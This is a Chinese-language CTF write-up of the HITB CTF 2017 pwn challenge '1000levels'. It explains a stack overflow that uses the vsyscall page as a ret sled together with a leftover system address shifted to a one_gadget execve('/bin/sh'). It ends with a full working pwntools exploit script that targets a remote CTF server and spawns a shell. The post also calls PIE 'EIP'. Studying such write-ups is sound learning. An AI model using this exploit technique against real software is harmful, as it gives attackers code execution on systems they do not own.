HITB CTF 2017 Pwn题研究🙉

上周的HITB CTF 2017看了两道Pwn题,可是都没做出来,看了writeup后,发现又学到了新姿势了…..

题目在我GitHub上有:🔞https://github.com/Hcamael/CTF_repo/tree/master/HITB%20CTF%202017/Pwn2(1000levels)

1000levels

这题是一道栈溢出的题目,溢出点也很容易找到,但问题是开了EIP,当时的思路是想可能有啥骚操作可以让hint函数泄露出system地址……可惜一直想错了,最主要有一个知识点我不知道

1
2
$ cat /proc/self/maps
ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]

以前从来没注意到过,linux下的每个程序都有一个这样的虚拟地址,而且不管开没开EIP,这段地址都是不变的。

再开看看这段地址是啥指令:

1
2
3
4
pwndbg> x/5i 0xffffffffff600000
0xffffffffff600000: mov rax,0x60
0xffffffffff600007: syscall
0xffffffffff600009: ret

就是一个不知道啥的系统调用然后ret,然后查了一些资料,这段地址是内核映射出来让程序调用内核一些功能的。而这段有用的指令就是一个ret,那么通过这个ret我们能进行怎样的骚操作?

首先要先能理清楚栈结构,当我们的的流程是这样的时候:

1
main -> hint -> main -> go -> level

首先我们调用hint函数时,栈是这样的:

hitb1

然后在hint函数中并没有输出system的地址,但是却把system的地址放入了栈中

执行完hint函数后,返回main函数,然后再调用go函数,这个时候栈是这样的:

hitb2

在hint函数中存放system地址的栈是在上图中变量v6的位置,在go函数中还调用了level函数,而溢出正好就是在level函数中,所以如果我们溢出构造一个栈地址如下所示

0xffffffffff600000
0xffffffffff600000
0xffffffffff600000
v6(&system)

这样就能执行system函数了

然后我们再来解决其他问题,v6是啥?会不会覆盖system,能执行system但是不能控制参数等问题。

见如下代码:

1
2
3
4
5
6
7
8
v2 = read_num();
if ( v2 > 0 )
v5 = v2;
else
puts("Coward");
puts("Any more?");
v3 = read_num();
v6 = v5 + v3;

上面的代码是ida反编译go函数的代码,这部分要结合汇编看

v5和v6的地址是一样的,所以如果输入的v2值大于0,则会把system的地址覆盖掉,这很好解决,输入负数和0都行,然后通过v3的输入,我们能在system地址的基础上进行加减。

因为有libc,所以我们可以先获取system的符号地址为0x45390

然后使用one_gadget工具:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ one_gadget libc.so.6
0x4526a execve("/bin/sh", rsp+0x30, environ)
constraints:
[rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12)
constraints:
[rcx] == NULL || rcx == NULL
[r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12)
constraints:
[rax] == NULL || rax == NULL
[r12] == NULL || r12 == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ)
constraints:
[rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ)
constraints:
[rsp+0x70] == NULL
0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8])
constraints:
[rcx] == NULL || rcx == NULL
[[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL

能获取到执行execve('/bin/sh')指令的地址,随便选一个和system地址相减得到差值,这个值就是v3,这样就把system的地址设置成执行execve的地址了,这样当rip跳到这里时就能直接执行系统命令了。

但是还有一个小细节:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
if ( v6 > 0 )
{
if ( v6 <= 999 )
{
v7 = v6;
}
else
{
puts("More levels than before!");
v7 = 1000LL;
}
puts("Let's go!'");
v4 = time(0LL);
if ( (unsigned int)level(v7) != 0 )
{
v1 = time(0LL);
sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3);
puts((const char *)&v8);
}
else
{
puts("You failed.");
}
exit(0);
}

因为execve的地址大于999,所以v7被设置为1000,所以level需要进行1000次递归

第一种思路是写代码,自动答对所有题目,然后在最后一次递归的时候溢出

还有因为溢出的长度有0x200,所以其实不必跑1000次

如果没有答对题目,递归则会退出,就没法进行溢出了

最后得到payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
DEBUG = 1
if DEBUG:
p = process('./1000levels', env={'LD_PRELOAD':'./libc.so.6'})
context.terminal = ['terminator', '-x', 'sh', '-c']
context.log_level = "debug"
# gdb.attach(p)
else:
p = remote('47.74.147.103', 20001)
libc_base = -0x45390
one_gadget_base = 0x4526a
def ansewer():
p.recvuntil('Question: ')
tmp1 = eval(p.recvuntil(' ')[:-1])
p.recvuntil('* ')
tmp2 = eval(p.recvuntil(' ')[:-1])
p.sendline(str(tmp1 * tmp2))
def ansewer2():
p.recvuntil("Answer:")
p.sendline("233")
p.recvuntil('Choice:')
p.sendline('2')
p.recvuntil('Choice:')
p.sendline('1')
p.recvuntil('How many levels?')
p.sendline('-1')
p.recvuntil('Any more?')
# p.sendline("2")
p.sendline(str(libc_base+one_gadget_base))
for i in range(999):
log.info(i)
ansewer()
p.recvuntil('Question: ')
# gdb.attach(p)
p.send('a'*0x38 + p64(0xffffffffff600000) * 3)
p.interactive()

PS: 这题我没做出来,是看别人的Payload学习的,所以上面的Payload不是我自己写的.

PSS: 因为有别的重要的事,所以另外一题堆的题目暂时没空更新,等有空了会更新上来的

文章目录
  1. 1. 1000levels